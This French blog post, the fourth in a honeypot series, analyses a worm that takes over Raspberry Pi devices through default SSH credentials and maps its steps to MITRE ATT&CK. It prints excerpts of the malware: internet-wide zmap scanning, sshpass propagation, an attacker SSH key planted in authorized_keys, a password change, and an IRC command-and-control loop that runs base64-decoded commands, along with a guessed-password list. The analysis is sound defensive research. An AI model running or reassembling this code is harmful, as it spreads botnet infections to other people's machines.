Projet de déploiement d'un honey pot (4)
Table of Contents
Poursuite du dépouillement des artefacts glanés par le honeypot cette fois une attaque ciblant les geeks …
L’environnement
Un pot de miel expose deux ports d’administration sur Internet (SSH & Telnet) donnant accès à un système simulant un environnement Linux.
Toutes les interactions avec le système sont indexées dans l’outil de traitement de données (Splunk, dans mon cas)
Ce qui représente une belle masse d’informations !
La compromission du système
Étape 1 - ouvrir la porte à l’attaquant mais pas trop vite …
L’attaquant a la possibilité d’essayer de s’authentifier, ses tentatives sont enregistrées.
Cette collecte est croustillante d’informations … mais ce sera pour une prochaine publication
Étape 2 - Se placer au-dessus de son épaule
Ce qui nous intéresse ici c’est d’observer son comportement, les commandes saisies, les fichiers téléchargés …
Rentrons dans la salle d’autopsie
Dans cette étude, nous allons voir une menace qui cible spécifiquement les Raspberry.
Le ptit truc qu’on branche, qu’on oublie, et qui reste connecté sur Internet avec les identifiants par défaut (pi/raspberry) !
L’intrusion dans le système
J’exagère, quelques fois le mot de passe est changé, mais pour un faible, voici un échantillon du dictionnaire des attaquants qui tente d’exploiter cette faiblesse.
identifiant | mot de passe |
---|---|
pi | abc123 |
pi | pass |
pi | 123456 |
pi | root |
pi | qwerty |
pi | 123 |
pi | raspberrypi |
pi | 1q2w3e |
pi | bananapi |
pi | toor |
pi | test123 |
pi | q1w2e3r4 |
pi | password123 |
Un exemple concret :
(1) L’attaquant se connecte via le couple d’identifiant pi/raspberry
(2) depuis un boitier Raspberry (raspbian est le système d’exploitation dédié)
(3) sur une connexion Internet de particulier
Grossier, cas isolé … pas vraiment !
👉 En 30 jours j’ai reçu 73 attaques du même type
👉 Exclusivement des connexions de particuliers
Sur l’exemple (2), il s’agit bien d’un fournisseur pour particuliers.
Exploitation du système compromis
Une fois introduit un programme malveillant est téléchargé et exécuté …
👉 Sur les 73 attaquants c’est systématiquement le même programme …
Analyse du code malveillant
Abordons cette étude à la lumière de la MITRE ATT&CK® 🧐 …
Ok c’est nul 😜
Voyons la MITRE ATT&CK™ comme une bibliothèque de données sur les attaquants, les campagnes, leurs tactiques, techniques et procédures.
Une modélisation centrée sur les phases post-intrusion qui s’intéresse au comportement dynamique de l’attaquant et le cartographie.
C’est un excellent outil d’analyse, de compréhension, et de défense permettant :
👉 De visualiser et évaluer sa couverture défensive…
👉 D’émuler le comportement d’un attaquant et éprouver les défenses…
👉 D’améliorer ses capacités de détection…
👉 De communiquer…
Revenons maintenant à notre code malveillant disséqué à la lumière de la MITRE ATT&CK
Tactique reconnaissance
La reconnaissance consiste à collecter des informations pour préparer une future attaque.
Le programme cherche à trouver des machines ayant un port d’administration ssh ouvert en scannant tout Internet … rien que ça !
[...]
while [ true ]; do
FILE=`mktemp`
zmap -p 22 -o $FILE -n 100000
[...]
done
[...]
👉 Technique Active Scanning
Tactique Credential Access
Credential Access : l’attaquant tente de se connecter avec un compte valide (en l’occurence les identifiants par défaut).
[...]
while [ true ]; do
[...]
for IP in `cat $FILE`
do
sshpass -praspberry scp -o ConnectTimeout=6 -o NumberOfPasswordPrompts=1 -o PreferredAuthentications=password -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no [...]
done
rm -rf $FILE
sleep 10
done
[...]
👉 Technique Brute Force: Password Guessing
Tactique Execution
Execution : afin “d’adapter” son environnement, le programme tue les programmes qui pourraient le déranger et installe les paquets nécessaires à l’attaque d’autres machines.
[...]
killall minerd
killall node
killall nodejs
killall perl
[...]
echo "nameserver 8.8.8.8" >> /etc/resolv.conf
rm -rf /tmp/ktx*
rm -rf /tmp/cpuminer-multi
rm -rf /var/tmp/kaiten
[...]
apt-get update -y --force-yes
apt-get install zmap sshpass -y --force-yes
👉 Techniques Command and Scripting Interpreter: Unix Shell
et
Software Deployment Tools
Tactique Persistence
Persistence : se doter de moyens de revenir sur la machine et aussi fermer la porte à d’autres attaquants, le mot de passe est changé.
A noter le respect de bonne pratique : l’attaquant s’est donné la peine de passer le hash du mot de passe plutôt qu’en clair.
[...]
usermod -p \$6\$vGkGPKUr\$heqvOhUzvbQ66Nb0JGCijh/81sG1WACcZgzPn8A0Wn58hHXWqy5yOgTlYJEbOjhkHD0MRsAkfJgjU/ioCYDeR1 pi
mkdir -p /root/.ssh
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCl0kIN33IJISIufmqpqg54D6s4J0L7XV2kep0rNzgY1S1IdE8HDef7z1ipBVuGTygGsq+x4yVnxveGshVP48YmicQHJMCIljmn6Po0RMC48qihm/9ytoEYtkKkeiTR02c6DyIcDnX3QdlSmEqPqSNRQ/XDgM7qIB/VpYtAhK/7DoE8pqdoFNBU5+JlqeWYpsMO+qkHugKA5U22wEGs8xG2XyyDtrBcw10xz+M7U8Vpt0tEadeV973tXNNNpUgYGIFEsrDEAjbMkEsUw+iQmXg37EusEFjCVjBySGH3F+EQtwin3YmxbB9HRMzOIzNnXwCFaYU5JjTNnzylUBp/XB6B" >> /root/.ssh/authorized_keys
[...]
👉 Techniques Account Manipulation: SSH Authorized Keys
Tactique Command And Control
Transformation de la machine en zombie : mise en place d’un canal de communication permettant de recevoir des ordres.
[...]
SYS=`uname -a | md5sum | awk -F' ' '{print $1}'`
NICK=a${SYS:24}
while [ true ]; do
arr[0]="ix1.undernet.org"
[...]
arr[5]="Chicago.IL.US.Undernet.org"
rand=$[$RANDOM % 6]
svr=${arr[$rand]}
eval 'exec 3<>/dev/tcp/$svr/6667;'
[...]
# Main loop
while [ true ]; do
[...]
if [[ "$msg_in" =~ "PING" ]] ; then
printf "PONG %s\n" "${msg_in:5}";
[...]
elif [[ "$msg_in" =~ "PRIVMSG" ]] ; then
[...]
if [[ "$sign" == "$hash" ]] ; then
CMD=`echo $privmsg_data | base64 -d -i`
RES=`bash -c "$CMD" | base64 -w 0`
[...]
nohup /tmp/$BOT 2>&1 > /tmp/bot.log &
[...]
👉 Techniques Utilisation du protocole IRC , Dynamic Resolution, Fallback Channels, Command and Scripting Interpreter: Unix Shell
Tactique Impact
Impact : l’attaquant détourne le fonctionnement du système pour son besoin propre.
Après une recherche rapide, il s’avère que la principale exploitation est le minage du bitcoin.
👉 Technique Resource Hijacking
Un petit visuel pour tout résumer
Que retenir ?
👉 Aucun mot de passe par défaut tu ne toléreras
👉 Dans la construction de tes scenarii de défense, la MITRE ATT&CK t’inspirera
👉 Ta surface d’exposition tu minimiseras
👉 Cet article à ton SI d’entreprise tu généraliseras
👉 Tes réactions tu partageras